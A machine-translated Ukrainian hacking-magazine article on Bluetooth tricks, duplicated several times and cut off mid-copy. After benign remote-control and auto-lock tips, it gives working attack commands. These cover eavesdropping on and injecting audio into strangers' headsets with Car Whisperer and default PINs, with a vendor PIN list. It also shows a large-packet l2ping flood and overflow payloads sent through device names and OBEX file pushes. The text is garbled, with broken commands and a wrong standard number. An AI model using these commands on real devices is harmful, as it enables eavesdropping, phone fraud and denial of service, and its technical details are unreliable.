Статьи

Трюки з Bluetooth: маленькі хитрощі використання «синього зуба» - «Хакер»

  1. Трюки з Bluetooth: маленькі хитрощі використання «синього зуба»
  2. Трюк 1: Використовуємо BT для віддаленого доступу до комп'ютера
  3. Трюк 2: Контроль доступу за допомогою BT
  4. Трюк 3: Сніфаем BT-трафік з ефіру
  5. Трюк 4: Працюємо з BT-адаптером безпосередньо
  6. Трюк 5: Знаходимо приховані пристрої
  7. Трюк 6: перехоплювати з ефіру розмови по гарнітурі
  8. Трюк 7: DDoS BT-пристроїв
  9. Трюки з Bluetooth: маленькі хитрощі використання «синього зуба»
  10. Трюк 1: Використовуємо BT для віддаленого доступу до комп'ютера
  11. Трюк 2: Контроль доступу за допомогою BT
  12. Трюк 3: Сніфаем BT-трафік з ефіру
  13. Трюк 4: Працюємо з BT-адаптером безпосередньо
  14. Трюк 5: Знаходимо приховані пристрої
  15. Трюк 6: перехоплювати з ефіру розмови по гарнітурі
  16. Трюк 7: DDoS BT-пристроїв
  17. Трюки з Bluetooth: маленькі хитрощі використання «синього зуба»
  18. Трюк 1: Використовуємо BT для віддаленого доступу до комп'ютера
  19. Трюк 2: Контроль доступу за допомогою BT
  20. Трюк 3: Сніфаем BT-трафік з ефіру
  21. Трюк 4: Працюємо з BT-адаптером безпосередньо
  22. Трюк 5: Знаходимо приховані пристрої
  23. Трюк 6: перехоплювати з ефіру розмови по гарнітурі
  24. Трюк 7: DDoS BT-пристроїв

Трюки з Bluetooth: маленькі хитрощі використання «синього зуба»

Зміст статті

Всі чудово знають, що за допомогою Bluetooth можна передати файл з девайса на девайс або підключити бездротову гарнітуру. Але цим його можливості не обмежуються. Маючи при собі потрібний інструмент, можна творити справжні чудеса. Так чому б не спробувати себе в ролі фокусника?

Вбудований модуль технології Bluetooth (або, якщо більш офіційно, IEEE 802.15.3) давно перестав бути дивиною. Вартість модуля настільки мізерна, що ні вбудовує його в мобільний, ноутбук або КПК тільки ледачий виробник. Та й то - з міркувань маркетингу. Словом, Bluetooth використовують практично всі. Але лише одиниці знають, що, використовуючи технологію, ризикують видати свої конфіденційні дані. Але почнемо все-таки з хорошого!

Трюк 1: Використовуємо BT для віддаленого доступу до комп'ютера

Якось для проведення презентації я запросив одну довгоногу подругу - натискати кнопку «пробіл», щоб перегортати слайди в Power Point. Це задоволення коштувало мені недешевого обіду і двох годин порожніх розмов з Barbie girl. Після цього я твердо вирішив: наступного разу проблему відсутності пульта ДУ я обійду по-іншому. І обійшов, скориставшись мобільником! Так-так, прямо з телефону можна перегортати слайди, управляти музикою - і робити ще бог знає що. Головне, щоб на мобільнику і комп'ютері були встановлені BT-модулі. Мало того, що зекономиш гроші і сили, так ще і виглядати будеш непростимо модно. Показати такий фокус здатний кожен, хто заюзать утиліту
Bluetooth Remote Control , Не так давно оновили до версії 3.0. Вона дозволяє управляти комп'ютером з екрана будь-якого мобільного телефону. Все дуже просто. На комп'ютер ставиться спеціальна серверна частина, а на телефон - програма-клієнт, написана на Java (потрібно MIDP 2.0). Після настройки нехитрої схеми ти зможеш дистанційно керувати мишкою і клавіатурою компа. І найголовніше - отримаєш доступ до віддаленого робочого столу. Справжній Remote Desktop прямо з екрану мобільного телефону! Ну, а з довгоногою подругою час можна провести куди більш вдало. Bluetooth Remote Control стане в нагоді і тут: щоб поставити
романтичну музику :).

Трюк 2: Контроль доступу за допомогою BT

Якщо ти працюєш в кімнаті, де разом з тобою сидить з десяток колег, тобі напевно доводилося блокувати комп'ютер, коли йдеш в інше приміщення. А що? Не встигнеш відійти, як хто-небудь вже покопатися на твоєму харді. Розклад не найприємніший. Загалом, лочіть комп'ютер потрібно обов'язково, питання в тому - як? Можна використовувати стандартні можливості вінди і по десять разів на дню вводити довжелезний пароль. Або ж робити це красиво за допомогою технології Bluetooth. Все просто, як двічі два. Відходиш від комп'ютера - і він тут же блокується. Повертаєшся назад - і лока наче й не було! Єдина умова: як в комп'ютері, так і в мобільному телефоні повинен бути встановлений модуль
Bluetooth, а в системі заінсталена програма LockItNow (ти легко можеш написати таку програму і сам, у нас була ціла стаття ). Втім, приятелям і колегам можна розповідати про телепатичних можливості, а потім продавати секрет за гроші :). До речі кажучи, якщо під рукою BT-модуля немає, то його можна замінити телефоном, який підтримує «синій зуб» (підключи по COM-порту).

Трюк 3: Сніфаем BT-трафік з ефіру

Майстерність починається з розуміння. Чи не виникало у тебе коли-небудь бажання подивитися всередину протоколу і дізнатися, як відбувається обмін даними через «синій зуб»? Прослуховування трафіку Bluetooth може виконуватися тільки «в себе», тобто Відбувається перехоплення вихідного та вхідного трафіку вузла, на якому ти віддав команди. У цій справі важливе значення має так званий Host Controller Interface (HCI), який дозволяє звертатися до передавача. HCI-вузол зазвичай підключається до вузла драйвера пристрою Bluetooth (вхідний потік) і до вузла L2CAP (вихідний потік). Windows платформа за замовчуванням такої можливості не надає. Однак сторонніми розробниками були випущені
спеціальні драйвера, які дозволяють переводити стандартний донгл в сниффер. Традиційно показовою в цьому плані є робота FTS4BT Wireless Bluetooth Protocol Analyzer , Що стоїть скажені гроші. Продукт чіпляє тим, що підтримує новий Bluetooth v2.0 + EDR, на базі якого працюють сучасні пристрої та, більш того, здатний на льоту декодувати весь трафік з ефіру, акуратно отсортіровивая аудіо, дані протоколів додатків і багато іншого. Зрозуміло, що для сніфінга (та й взагалі) найбільш актуальні USB-донгла класу 1, радіус дії яких досягає ста метрів.

Трюк 4: Працюємо з BT-адаптером безпосередньо

Довгий час Bluetooth стеки для Windows надавали настільки мізерні можливості, що програмісти просто обходили цю платформу стороною. Цим пояснюється, що більшість програм для серйозних забав c «синім зубом» розробляються під ніксовую платформу. Деякі з хитрих прийомів ми розберемо саме на це платформі, а саме FreeBSD (нагадаю, що на диску минулого номера ми викладали свіжий 7.0 реліз цієї ОС). Сама технологія Bluetooth офіційно стала підтримуватися на ній тільки з 5-ої гілки на базі підсистеми Netgraph. Радує, що більшість USB-адаптерів сумісні з драйвером ng_ubt (його необхідно завести перед підключенням пристрою). Спробуємо?

  1. Підключаємо пристрій: kldload ng_ubt
  2. Копіюємо сценарій подгрузки стека в зручне місце: cp /usr/share/examples/netgraph/bluetooth/rc.bluetooth /usr/local/etc/rc.bluetooth
  3. Копіюємо сценарій подгрузки стека в зручне місце і запускаємо: sh /usr/local/etc/rc.bluetoots start ubt0

Тепер хочу познайомити тебе з утилітою hccontrol. Це одна з основних програм для роботи з BT-модулем. Саме вона виконує всі операції, пов'язані з інтерфейсом HCI, і має наступний синтаксис: hccontrol -n <імя_hci_узла> <команда>. Перевіримо функціональність нашого пристрою, просканує ефір на наявність пристроїв:

hccontrol -n ubt0hci Inquiry

Як результат, утиліта виведе інформацію про знайдені пристроях, в тому числі їх MAC-адреси. Треба зауважити, що кожне з пристроїв Bluetooth, будь то хедсетом або звичайний телефон, представляє певний набір сервісів. Базовий перелік включає в себе: CIP (Common ISDN Access), CTP (Cordless Telephony), DUN (dial-up networking), FAX (FAX), FTRN (Obex File Transwer), HSET (Headset), NAP (Network Access Point) . Щоб з'ясувати, які сервіси надає той чи інший пристрій, використовується запит на спеціальному протоколі SPD (Service Descovery Protocol). Сервер SPD працює безпосередньо на машині-хості і є виключно інформаційної складової (вплинути на нього
неможливо). Визначити, які сервіси надають знайдені пристрої, можна за допомогою відповідної утиліти:

# Spdcontrol -a <MAC-адресу пристрою> browse

Трюк 5: Знаходимо приховані пристрої

Отже, ефір ми просканували і навіть з'ясували, які сервіси доступні на активних пристроях. Але от заковика! Деякі девайси ніяк не видають своєї присутності, оскільки знаходяться в режимі «Undiscoverable mode» і не відповідають на широкомовні запити. По налаштуваннях свого телефону ти напевно знаєш про подібної опції безпеки. Однак виявити такі пристрої все-таки можна!

Найвідоміший прийом їх виявлення - тупий перебір MAC-адрес, тобто послідовна посилка запитів на різні адреси з певного діапазону. Для цього потрібно використовувати дуже просту утиліту Redfang , Яка перебирає останні шість байт адреси пристрою і таким чином виявляє заховані пристрою.

Інший варіант - це використовувати пасивні методики: перевести свій пристрій в режим очікування, при цьому призначити мережі яке-небудь привабливе ім'я:

hciconfig hci0 name BT_YANDEX
hciconfig hci0 down
hciconfig hci0 up
hcidump -V | grep bdaddr

В результаті відобразяться всі вхідні з'єднання, серед яких можуть запросто виявитися товариші з прихованими ідентифікаторами.

Трюк 6: перехоплювати з ефіру розмови по гарнітурі

Одна з основних загроз радіотехнологій полягає в тому, що дані можна перехопити. Перше, що спадає на думку, стосовно Bluetooth - прослухати розмови людей, що використовують гарнітуру. І найчастіше це реально! На хакерському фестивалі What the Hack в Нідерландах фахівці з групи Trifinite продемонстрували, як за допомогою ноутбука з Linux, спеціальної програми і спрямованої антени можна підслухати, про що говорить через Bluetooth-гарнітуру водій проїжджаючого автомобіля. Група розробила програму Car Whisperer ( «Автомобільний шептун»). Можливості програми відносно невеликі: прослухати можна тільки тих, хто забув змінити заводські паролі доступу до Bluetooth на зразок
«0000» або «1234». Але таких бідолах, повір, дуже і дуже багато! «Шептун» здатний вклинитися і успішно пройти «pairing» пристроїв, отримавши інформацію, передану з каркіта або хедсетом на мобілку. Хочу звернути увагу: утиліта дозволяє не тільки отримати інформацію, що передається між хедсетом і мобилой, але і Інжект туди свою. Ми вирішили перевірити можливості цієї програми, скачавши Car Whisperer з сайту розробників.

Перед початком операції рекомендується змінити клас свого пристрою, особливо якщо програма буде використовуватися з комп'ютера:

hciconfig адаптер class 0x500204
# 0x500204 - це клас «phone»

В іншому випадку деякі «розумні» девайси можуть запідозрити недобре. Дивимося синтаксис утиліти, який виглядає наступним чином:

./carwhisperer «що впроваджуємо в лінію» «що захоплюємо з лінії» «адресапристрою» [канал]

Ми взяли впроваджуваний файл прямо з папки утиліти, а в якості вихідного вказали out.raw:

./carwhisperer 0 message.raw /tmp/out.raw
00: 15: 0E: 91: 19: 73

На виході отримуємо файл out.raw. Прослухати його в чистому вигляді не можна: потрібно перетворити в аудіо формат, для чого потрібна додаткова утиліта. Підійдуть досить багато аудіо конвертери, наприклад SoX :

raw -r 8000 -c 1 -s -w out.raw -t wav -r
44100 -c 2 out.wav

Крім прослуховування, можна увійти в систему, переглянути телефонну книгу і скористатися іншими можливостями «вільних рук» з Bluetooth. Принцип такий: спочатку здійснюється пошук активних пристроїв і перевірка на предмет сервісу HS (Head Set). Далі досліджується MAC-адресу пристрою і проводиться спроба підключення з використанням стандартного ключа. Якщо коннект встановлений, то з пристроєм можна робити все, що завгодно (в межах доступного набору AT-команд).

На практиці це виглядає наступним чином. Спочатку здійснюється пошук всіх активних гарнітур за допомогою команди «sdptool search HS», яка видає приблизно таку відповідь:

Inquiring ...
Searching for HS on 00: 0A: 3A: 54: 71: 95 ...
Service Name: Headset
Service RecHandle: 0x10009
Service Class ID List:
"Headset" (0x1108)
"Generic Audio" (0x1203)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 7
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"Headset" (0x1108)
Version: 0x0100

Далі здійснюється спроба відкрити RFCOMM з'єднання на SCO audio channel за допомогою команди «rfcomm connect 2 00: 0A: 3A: 54: 71: 95 1» і посилка потрібних AT-команд. Наведу невелику статистичну замітку про дані авторизації на деякі моделі бездротових гарнітур:

Nokia (00: 02: EE ...) - pin = "5475"
Audi UHV (00: 0E: 9F ...) - pin = "1234"
O'Neill (00:80:37 ...) - pin = "8761"
Cellink (00: 0A: 94 ...) - pin = "одна тисяча двісті тридцять чотири"
Eazix (00: 0C: 84 ...) - pin = "1 234"

До речі кажучи, той же принцип може використовуватися для несанкціонованого підключення і до всіх інших пристроїв. За допомогою AT-команд і протоколу RFCOMM можна, наприклад, прочитати SMS-повідомлення або навіть відправити його з чужого телефону на платний номер, поставивши власника девайса на гроші. Будь пильний!

Трюк 7: DDoS BT-пристроїв

Підхід традиційний. DDoS реально провести, коли хостової девайс ( «master») виконує роботу, у багато разів перевищує клієнтську. Таку ситуацію називають атакою на відмову в обслуговуванні (Denial Of Service). Вона може підвісити телефон або призвести до швидкої розрядки батареї. Провести атаку можна декількома способами. Почнемо зі стандартних засобів. Найочевидніше - пінгувати девайс пакетами великого розміру. Зробити це можна, вказавши утиліті l2ping як параметр «-s» прапор:

# L2ping -s 10000 -b "МАС адресу"

Сама програма, як ти вже зрозумів, є родичем ping в bluetooth середовищі і служить для перевірки зв'язку та наявності з'єднання. Інший спосіб, що принципово відрізняється від першого, полягає в використанні прийому «fuzzing» - своєрідної техніки-лотереї, тому як заздалегідь невідомо, що станеться. Це нове віяння в виявленні вразливостей в продуктах без аналізу вихідних кодів. Потрібно Було техніка тільки на інтерактивне спілкування з об'єктом зрозумілою для нього мовою, але з абсолютно хаотичними аргументами і значеннями-змінними. Хакерської завданням буде зробити так, щоб видиме назву телефону складалося з досить великої кількості елементів. При виявленні його «master'ом» в 70%
випадків відбувається переповнення або відмову в обслуговуванні:

hciconfig hci0 name `perl -e 'print" ash "x 3137'`
# Команда для Лінукса
hccontrol -n адаптер change_local_name "нове ім'я")
# Приклад для FreeBSD

Багато телефонів як і раніше не можуть перетравити файли-бомби. Ось проста реалізація подібного прийому.

  1. Спочатку готують «бомбу». Відомий приклад:
    echo `perl -e 'print" skvz "x 3137'`> file
  2. Після чого використовують модифіковану утиліту для взаємодії з OBEX - USSP PUSH (xmailserver.org/ussp-push.html)
    ./obextool push file 00: 0A: 3A: 54: 71: 95 `perl -e 'print" skvz "x 3137'` 3


Повну версію статті
читай в квітневому номері Хакера!
На нашому диску ти знайдеш повні версії програм, описаних в статті, а також повну добірку документації Bluetooth і вразливостей в цій технології.

Трюки з Bluetooth: маленькі хитрощі використання «синього зуба»

Зміст статті

Всі чудово знають, що за допомогою Bluetooth можна передати файл з девайса на девайс або підключити бездротову гарнітуру. Але цим його можливості не обмежуються. Маючи при собі потрібний інструмент, можна творити справжні чудеса. Так чому б не спробувати себе в ролі фокусника?

Вбудований модуль технології Bluetooth (або, якщо більш офіційно, IEEE 802.15.3) давно перестав бути дивиною. Вартість модуля настільки мізерна, що ні вбудовує його в мобільний, ноутбук або КПК тільки ледачий виробник. Та й то - з міркувань маркетингу. Словом, Bluetooth використовують практично всі. Але лише одиниці знають, що, використовуючи технологію, ризикують видати свої конфіденційні дані. Але почнемо все-таки з хорошого!

Трюк 1: Використовуємо BT для віддаленого доступу до комп'ютера

Якось для проведення презентації я запросив одну довгоногу подругу - натискати кнопку «пробіл», щоб перегортати слайди в Power Point. Це задоволення коштувало мені недешевого обіду і двох годин порожніх розмов з Barbie girl. Після цього я твердо вирішив: наступного разу проблему відсутності пульта ДУ я обійду по-іншому. І обійшов, скориставшись мобільником! Так-так, прямо з телефону можна перегортати слайди, управляти музикою - і робити ще бог знає що. Головне, щоб на мобільнику і комп'ютері були встановлені BT-модулі. Мало того, що зекономиш гроші і сили, так ще і виглядати будеш непростимо модно. Показати такий фокус здатний кожен, хто заюзать утиліту
Bluetooth Remote Control , Не так давно оновили до версії 3.0. Вона дозволяє управляти комп'ютером з екрана будь-якого мобільного телефону. Все дуже просто. На комп'ютер ставиться спеціальна серверна частина, а на телефон - програма-клієнт, написана на Java (потрібно MIDP 2.0). Після настройки нехитрої схеми ти зможеш дистанційно керувати мишкою і клавіатурою компа. І найголовніше - отримаєш доступ до віддаленого робочого столу. Справжній Remote Desktop прямо з екрану мобільного телефону! Ну, а з довгоногою подругою час можна провести куди більш вдало. Bluetooth Remote Control стане в нагоді і тут: щоб поставити
романтичну музику :).

Трюк 2: Контроль доступу за допомогою BT

Якщо ти працюєш в кімнаті, де разом з тобою сидить з десяток колег, тобі напевно доводилося блокувати комп'ютер, коли йдеш в інше приміщення. А що? Не встигнеш відійти, як хто-небудь вже покопатися на твоєму харді. Розклад не найприємніший. Загалом, лочіть комп'ютер потрібно обов'язково, питання в тому - як? Можна використовувати стандартні можливості вінди і по десять разів на дню вводити довжелезний пароль. Або ж робити це красиво за допомогою технології Bluetooth. Все просто, як двічі два. Відходиш від комп'ютера - і він тут же блокується. Повертаєшся назад - і лока наче й не було! Єдина умова: як в комп'ютері, так і в мобільному телефоні повинен бути встановлений модуль
Bluetooth, а в системі заінсталена програма LockItNow (ти легко можеш написати таку програму і сам, у нас була ціла стаття ). Втім, приятелям і колегам можна розповідати про телепатичних можливості, а потім продавати секрет за гроші :). До речі кажучи, якщо під рукою BT-модуля немає, то його можна замінити телефоном, який підтримує «синій зуб» (підключи по COM-порту).

Трюк 3: Сніфаем BT-трафік з ефіру

Майстерність починається з розуміння. Чи не виникало у тебе коли-небудь бажання подивитися всередину протоколу і дізнатися, як відбувається обмін даними через «синій зуб»? Прослуховування трафіку Bluetooth може виконуватися тільки «в себе», тобто Відбувається перехоплення вихідного та вхідного трафіку вузла, на якому ти віддав команди. У цій справі важливе значення має так званий Host Controller Interface (HCI), який дозволяє звертатися до передавача. HCI-вузол зазвичай підключається до вузла драйвера пристрою Bluetooth (вхідний потік) і до вузла L2CAP (вихідний потік). Windows платформа за замовчуванням такої можливості не надає. Однак сторонніми розробниками були випущені
спеціальні драйвера, які дозволяють переводити стандартний донгл в сниффер. Традиційно показовою в цьому плані є робота FTS4BT Wireless Bluetooth Protocol Analyzer , Що стоїть скажені гроші. Продукт чіпляє тим, що підтримує новий Bluetooth v2.0 + EDR, на базі якого працюють сучасні пристрої та, більш того, здатний на льоту декодувати весь трафік з ефіру, акуратно отсортіровивая аудіо, дані протоколів додатків і багато іншого. Зрозуміло, що для сніфінга (та й взагалі) найбільш актуальні USB-донгла класу 1, радіус дії яких досягає ста метрів.

Трюк 4: Працюємо з BT-адаптером безпосередньо

Довгий час Bluetooth стеки для Windows надавали настільки мізерні можливості, що програмісти просто обходили цю платформу стороною. Цим пояснюється, що більшість програм для серйозних забав c «синім зубом» розробляються під ніксовую платформу. Деякі з хитрих прийомів ми розберемо саме на це платформі, а саме FreeBSD (нагадаю, що на диску минулого номера ми викладали свіжий 7.0 реліз цієї ОС). Сама технологія Bluetooth офіційно стала підтримуватися на ній тільки з 5-ої гілки на базі підсистеми Netgraph. Радує, що більшість USB-адаптерів сумісні з драйвером ng_ubt (його необхідно завести перед підключенням пристрою). Спробуємо?

  1. Підключаємо пристрій: kldload ng_ubt
  2. Копіюємо сценарій подгрузки стека в зручне місце: cp /usr/share/examples/netgraph/bluetooth/rc.bluetooth /usr/local/etc/rc.bluetooth
  3. Копіюємо сценарій подгрузки стека в зручне місце і запускаємо: sh /usr/local/etc/rc.bluetoots start ubt0

Тепер хочу познайомити тебе з утилітою hccontrol. Це одна з основних програм для роботи з BT-модулем. Саме вона виконує всі операції, пов'язані з інтерфейсом HCI, і має наступний синтаксис: hccontrol -n <імя_hci_узла> <команда>. Перевіримо функціональність нашого пристрою, просканує ефір на наявність пристроїв:

hccontrol -n ubt0hci Inquiry

Як результат, утиліта виведе інформацію про знайдені пристроях, в тому числі їх MAC-адреси. Треба зауважити, що кожне з пристроїв Bluetooth, будь то хедсетом або звичайний телефон, представляє певний набір сервісів. Базовий перелік включає в себе: CIP (Common ISDN Access), CTP (Cordless Telephony), DUN (dial-up networking), FAX (FAX), FTRN (Obex File Transwer), HSET (Headset), NAP (Network Access Point) . Щоб з'ясувати, які сервіси надає той чи інший пристрій, використовується запит на спеціальному протоколі SPD (Service Descovery Protocol). Сервер SPD працює безпосередньо на машині-хості і є виключно інформаційної складової (вплинути на нього
неможливо). Визначити, які сервіси надають знайдені пристрої, можна за допомогою відповідної утиліти:

# Spdcontrol -a <MAC-адресу пристрою> browse

Трюк 5: Знаходимо приховані пристрої

Отже, ефір ми просканували і навіть з'ясували, які сервіси доступні на активних пристроях. Але от заковика! Деякі девайси ніяк не видають своєї присутності, оскільки знаходяться в режимі «Undiscoverable mode» і не відповідають на широкомовні запити. По налаштуваннях свого телефону ти напевно знаєш про подібної опції безпеки. Однак виявити такі пристрої все-таки можна!

Найвідоміший прийом їх виявлення - тупий перебір MAC-адрес, тобто послідовна посилка запитів на різні адреси з певного діапазону. Для цього потрібно використовувати дуже просту утиліту Redfang , Яка перебирає останні шість байт адреси пристрою і таким чином виявляє заховані пристрою.

Інший варіант - це використовувати пасивні методики: перевести свій пристрій в режим очікування, при цьому призначити мережі яке-небудь привабливе ім'я:

hciconfig hci0 name BT_YANDEX
hciconfig hci0 down
hciconfig hci0 up
hcidump -V | grep bdaddr

В результаті відобразяться всі вхідні з'єднання, серед яких можуть запросто виявитися товариші з прихованими ідентифікаторами.

Трюк 6: перехоплювати з ефіру розмови по гарнітурі

Одна з основних загроз радіотехнологій полягає в тому, що дані можна перехопити. Перше, що спадає на думку, стосовно Bluetooth - прослухати розмови людей, що використовують гарнітуру. І найчастіше це реально! На хакерському фестивалі What the Hack в Нідерландах фахівці з групи Trifinite продемонстрували, як за допомогою ноутбука з Linux, спеціальної програми і спрямованої антени можна підслухати, про що говорить через Bluetooth-гарнітуру водій проїжджаючого автомобіля. Група розробила програму Car Whisperer ( «Автомобільний шептун»). Можливості програми відносно невеликі: прослухати можна тільки тих, хто забув змінити заводські паролі доступу до Bluetooth на зразок
«0000» або «1234». Але таких бідолах, повір, дуже і дуже багато! «Шептун» здатний вклинитися і успішно пройти «pairing» пристроїв, отримавши інформацію, передану з каркіта або хедсетом на мобілку. Хочу звернути увагу: утиліта дозволяє не тільки отримати інформацію, що передається між хедсетом і мобилой, але і Інжект туди свою. Ми вирішили перевірити можливості цієї програми, скачавши Car Whisperer з сайту розробників.

Перед початком операції рекомендується змінити клас свого пристрою, особливо якщо програма буде використовуватися з комп'ютера:

hciconfig адаптер class 0x500204
# 0x500204 - це клас «phone»

В іншому випадку деякі «розумні» девайси можуть запідозрити недобре. Дивимося синтаксис утиліти, який виглядає наступним чином:

./carwhisperer «що впроваджуємо в лінію» «що захоплюємо з лінії» «адресапристрою» [канал]

Ми взяли впроваджуваний файл прямо з папки утиліти, а в якості вихідного вказали out.raw:

./carwhisperer 0 message.raw /tmp/out.raw
00: 15: 0E: 91: 19: 73

На виході отримуємо файл out.raw. Прослухати його в чистому вигляді не можна: потрібно перетворити в аудіо формат, для чого потрібна додаткова утиліта. Підійдуть досить багато аудіо конвертери, наприклад SoX :

raw -r 8000 -c 1 -s -w out.raw -t wav -r
44100 -c 2 out.wav

Крім прослуховування, можна увійти в систему, переглянути телефонну книгу і скористатися іншими можливостями «вільних рук» з Bluetooth. Принцип такий: спочатку здійснюється пошук активних пристроїв і перевірка на предмет сервісу HS (Head Set). Далі досліджується MAC-адресу пристрою і проводиться спроба підключення з використанням стандартного ключа. Якщо коннект встановлений, то з пристроєм можна робити все, що завгодно (в межах доступного набору AT-команд).

На практиці це виглядає наступним чином. Спочатку здійснюється пошук всіх активних гарнітур за допомогою команди «sdptool search HS», яка видає приблизно таку відповідь:

Inquiring ...
Searching for HS on 00: 0A: 3A: 54: 71: 95 ...
Service Name: Headset
Service RecHandle: 0x10009
Service Class ID List:
"Headset" (0x1108)
"Generic Audio" (0x1203)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 7
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"Headset" (0x1108)
Version: 0x0100

Далі здійснюється спроба відкрити RFCOMM з'єднання на SCO audio channel за допомогою команди «rfcomm connect 2 00: 0A: 3A: 54: 71: 95 1» і посилка потрібних AT-команд. Наведу невелику статистичну замітку про дані авторизації на деякі моделі бездротових гарнітур:

Nokia (00: 02: EE ...) - pin = "5475"
Audi UHV (00: 0E: 9F ...) - pin = "1234"
O'Neill (00:80:37 ...) - pin = "8761"
Cellink (00: 0A: 94 ...) - pin = "1234"
Eazix (00: 0C: 84 ...) - pin = "1234"

До речі кажучи, той же принцип може використовуватися для несанкціонованого підключення і до всіх інших пристроїв. За допомогою AT-команд і протоколу RFCOMM можна, наприклад, прочитати SMS-повідомлення або навіть відправити його з чужого телефону на платний номер, поставивши власника девайса на гроші. Будь пильний!

Трюк 7: DDoS BT-пристроїв

Підхід традиційний. DDoS реально провести, коли хостової девайс ( «master») виконує роботу, у багато разів перевищує клієнтську. Таку ситуацію називають атакою на відмову в обслуговуванні (Denial Of Service). Вона може підвісити телефон або призвести до швидкої розрядки батареї. Провести атаку можна декількома способами. Почнемо зі стандартних засобів. Найочевидніше - пінгувати девайс пакетами великого розміру. Зробити це можна, вказавши утиліті l2ping як параметр «-s» прапор:

# L2ping -s 10000 -b "МАС адресу"

Сама програма, як ти вже зрозумів, є родичем ping в bluetooth середовищі і служить для перевірки зв'язку та наявності з'єднання. Інший спосіб, що принципово відрізняється від першого, полягає в використанні прийому «fuzzing» - своєрідної техніки-лотереї, тому як заздалегідь невідомо, що станеться. Це нове віяння в виявленні вразливостей в продуктах без аналізу вихідних кодів. Потрібно Було техніка тільки на інтерактивне спілкування з об'єктом зрозумілою для нього мовою, але з абсолютно хаотичними аргументами і значеннями-змінними. Хакерської завданням буде зробити так, щоб видиме назву телефону складалося з досить великої кількості елементів. При виявленні його «master'ом» в 70%
випадків відбувається переповнення або відмову в обслуговуванні:

hciconfig hci0 name `perl -e 'print" ash "x 3137'`
# Команда для Лінукса
hccontrol -n адаптер change_local_name "нове ім'я")
# Приклад для FreeBSD

Багато телефонів як і раніше не можуть перетравити файли-бомби. Ось проста реалізація подібного прийому.

  1. Спочатку готують «бомбу». Відомий приклад:
    echo `perl -e 'print" skvz "x 3137'`> file
  2. Після чого використовують модифіковану утиліту для взаємодії з OBEX - USSP PUSH (xmailserver.org/ussp-push.html)
    ./obextool push file 00: 0A: 3A: 54: 71: 95 `perl -e 'print" skvz "x 3137'` 3


Повну версію статті
читай в квітневому номері Хакера!
На нашому диску ти знайдеш повні версії програм, описаних в статті, а також повну добірку документації Bluetooth і вразливостей в цій технології.

Трюки з Bluetooth: маленькі хитрощі використання «синього зуба»

Зміст статті

Всі чудово знають, що за допомогою Bluetooth можна передати файл з девайса на девайс або підключити бездротову гарнітуру. Але цим його можливості не обмежуються. Маючи при собі потрібний інструмент, можна творити справжні чудеса. Так чому б не спробувати себе в ролі фокусника?

Вбудований модуль технології Bluetooth (або, якщо більш офіційно, IEEE 802.15.3) давно перестав бути дивиною. Вартість модуля настільки мізерна, що ні вбудовує його в мобільний, ноутбук або КПК тільки ледачий виробник. Та й то - з міркувань маркетингу. Словом, Bluetooth використовують практично всі. Але лише одиниці знають, що, використовуючи технологію, ризикують видати свої конфіденційні дані. Але почнемо все-таки з хорошого!

Трюк 1: Використовуємо BT для віддаленого доступу до комп'ютера

Якось для проведення презентації я запросив одну довгоногу подругу - натискати кнопку «пробіл», щоб перегортати слайди в Power Point. Це задоволення коштувало мені недешевого обіду і двох годин порожніх розмов з Barbie girl. Після цього я твердо вирішив: наступного разу проблему відсутності пульта ДУ я обійду по-іншому. І обійшов, скориставшись мобільником! Так-так, прямо з телефону можна перегортати слайди, управляти музикою - і робити ще бог знає що. Головне, щоб на мобільнику і комп'ютері були встановлені BT-модулі. Мало того, що зекономиш гроші і сили, так ще і виглядати будеш непростимо модно. Показати такий фокус здатний кожен, хто заюзать утиліту
Bluetooth Remote Control , Не так давно оновили до версії 3.0. Вона дозволяє управляти комп'ютером з екрана будь-якого мобільного телефону. Все дуже просто. На комп'ютер ставиться спеціальна серверна частина, а на телефон - програма-клієнт, написана на Java (потрібно MIDP 2.0). Після настройки нехитрої схеми ти зможеш дистанційно керувати мишкою і клавіатурою компа. І найголовніше - отримаєш доступ до віддаленого робочого столу. Справжній Remote Desktop прямо з екрану мобільного телефону! Ну, а з довгоногою подругою час можна провести куди більш вдало. Bluetooth Remote Control стане в нагоді і тут: щоб поставити
романтичну музику :).

Трюк 2: Контроль доступу за допомогою BT

Якщо ти працюєш в кімнаті, де разом з тобою сидить з десяток колег, тобі напевно доводилося блокувати комп'ютер, коли йдеш в інше приміщення. А що? Не встигнеш відійти, як хто-небудь вже покопатися на твоєму харді. Розклад не найприємніший. Загалом, лочіть комп'ютер потрібно обов'язково, питання в тому - як? Можна використовувати стандартні можливості вінди і по десять разів на дню вводити довжелезний пароль. Або ж робити це красиво за допомогою технології Bluetooth. Все просто, як двічі два. Відходиш від комп'ютера - і він тут же блокується. Повертаєшся назад - і лока наче й не було! Єдина умова: як в комп'ютері, так і в мобільному телефоні повинен бути встановлений модуль
Bluetooth, а в системі заінсталена програма LockItNow (ти легко можеш написати таку програму і сам, у нас була ціла стаття ). Втім, приятелям і колегам можна розповідати про телепатичних можливості, а потім продавати секрет за гроші :). До речі кажучи, якщо під рукою BT-модуля немає, то його можна замінити телефоном, який підтримує «синій зуб» (підключи по COM-порту).

Трюк 3: Сніфаем BT-трафік з ефіру

Майстерність починається з розуміння. Чи не виникало у тебе коли-небудь бажання подивитися всередину протоколу і дізнатися, як відбувається обмін даними через «синій зуб»? Прослуховування трафіку Bluetooth може виконуватися тільки «в себе», тобто Відбувається перехоплення вихідного та вхідного трафіку вузла, на якому ти віддав команди. У цій справі важливе значення має так званий Host Controller Interface (HCI), який дозволяє звертатися до передавача. HCI-вузол зазвичай підключається до вузла драйвера пристрою Bluetooth (вхідний потік) і до вузла L2CAP (вихідний потік). Windows платформа за замовчуванням такої можливості не надає. Однак сторонніми розробниками були випущені
спеціальні драйвера, які дозволяють переводити стандартний донгл в сниффер. Традиційно показовою в цьому плані є робота FTS4BT Wireless Bluetooth Protocol Analyzer , Що стоїть скажені гроші. Продукт чіпляє тим, що підтримує новий Bluetooth v2.0 + EDR, на базі якого працюють сучасні пристрої та, більш того, здатний на льоту декодувати весь трафік з ефіру, акуратно отсортіровивая аудіо, дані протоколів додатків і багато іншого. Зрозуміло, що для сніфінга (та й взагалі) найбільш актуальні USB-донгла класу 1, радіус дії яких досягає ста метрів.

